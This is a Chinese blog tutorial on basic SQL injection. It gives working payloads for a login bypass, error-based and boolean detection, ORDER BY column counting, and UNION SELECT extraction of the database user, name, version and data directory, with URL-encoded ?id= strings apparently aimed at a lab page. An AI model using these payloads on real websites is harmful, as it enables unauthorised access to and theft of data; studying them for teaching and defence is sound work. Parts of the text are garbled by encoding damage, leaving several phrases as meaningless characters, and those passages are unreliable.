二十二、SQL注入(1)基礎(chǔ)

目錄
1.概述
2.登錄判斷
3.檢測方法
3.1 基于報錯的檢測方法
3.2 基于布爾的檢測
3.3 表列數(shù)/顯示信息位于哪一列
3.4 ASCII轉(zhuǎn)字符
3.5 連接字符串
3.6 md5值計算
3.7 執(zhí)行結(jié)果切分

1、概述

  • 服務(wù)器端程序?qū)⒂脩糨斎雲(yún)?shù)作為查詢條件,直接拼接SQL語句,并將查詢結(jié)果返回給客戶端瀏覽器;
  • 不僅可以獲得針對數(shù)據(jù)庫,還能通過sql獲得系統(tǒng)權(quán)限、文件操作等

2、登錄判斷

SELECT * FROM users WHERE user=‘name' AND password=‘pass‘
SELECT * FROM users WHERE user=‘name' AND password='' OR ''=''

3、檢測方法

3.1、基于報錯的檢測方法

一般來說,數(shù)據(jù)庫都是使用單引號/雙引號等進行閉合,如果直接輸入一個單引號/雙引號/百分號%,數(shù)據(jù)庫因為多出的輸入字符導(dǎo)致無法閉合而報錯

 ' '' % ()

3.2 基于布爾的檢測

基于上述判斷,再進一步確認(rèn)服務(wù)端是否執(zhí)行

1’ and ‘1’=‘1 或1' and '1
1’ and ‘1’=‘2 或1' and '0
布爾檢測

3.3 表列數(shù)/顯示信息位于哪一列

通過下面的語句猜測一個表中包含幾個字段,數(shù)字變換嘗試

'order by 9--        //--表示后面的為注釋(--后有1個空格),變?yōu)?' order by 9-- ',效果為'' order by 9

對于order by 數(shù)字的用戶說明如下:

示例1:
SELECT last_name, salary , hire_date
FROM EMPLOYEES
ORDER BY salary DESC;
示例2:
SELECT last_name, salary , hire_date
FROM EMPLOYEES
ORDER BY 2 DESC;
以上兩個示例結(jié)果相同。
因為ORDER BY salary DESC==ORDER BY 2 DESC
salary是第二個元素,所以可以使用2來代替。
但是數(shù)字不可以使用0,也不可以超出查詢的列。
例如:select * from employers
order by x;
如果employers表有九個字段,那個X的范圍就是1---9
不能是0,也不能是10.

在輸入時,如果使用select語句,使用union或union all進行聯(lián)合查詢

' union select 1,2 --     // 查詢哪個字段名(注意--后面有空格)
查詢字段名
' union select user(),version()--   //查詢用戶名和版本
查詢用戶名和版本
' union select user(),database()--   //查詢用戶名和數(shù)據(jù)庫名稱
查詢用戶名和數(shù)據(jù)庫名稱
' union select user(),@@datadir--   
全局函數(shù)還包括@@hostname、@@version、@@version_compile_os
使用全局函數(shù)

通過使用Firefox安裝的hackbar,執(zhí)行sql命令:


使用全局函數(shù)

3.4、ASCII轉(zhuǎn)字符

?id='+union+select+user(),char(70)--+
&Submit=Submit#
char

3.5、連接字符串

?id='+union+select+CONCAT_WS(CHAR(32,58,32),user(),database(),version()),null--+
&Submit=Submit#  //第1個字段同時查詢多個數(shù)據(jù),第2個字段為空
contact連接字符

3.6、md5值計算

?id='+union+select+CONCAT_WS(CHAR(32,58,32),user(),database(),md5('abc')),null--+
&Submit=Submit#
image.png

3.7、執(zhí)行結(jié)果切分

將查詢的結(jié)果切分,返回想要的結(jié)果

?id='+union+select+database(),substring_index(USER(),"@",1)--+
&Submit=Submit#   //查詢user(),并以@為分隔符,取第一個字段
執(zhí)行結(jié)果氣氛
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

推薦閱讀更多精彩內(nèi)容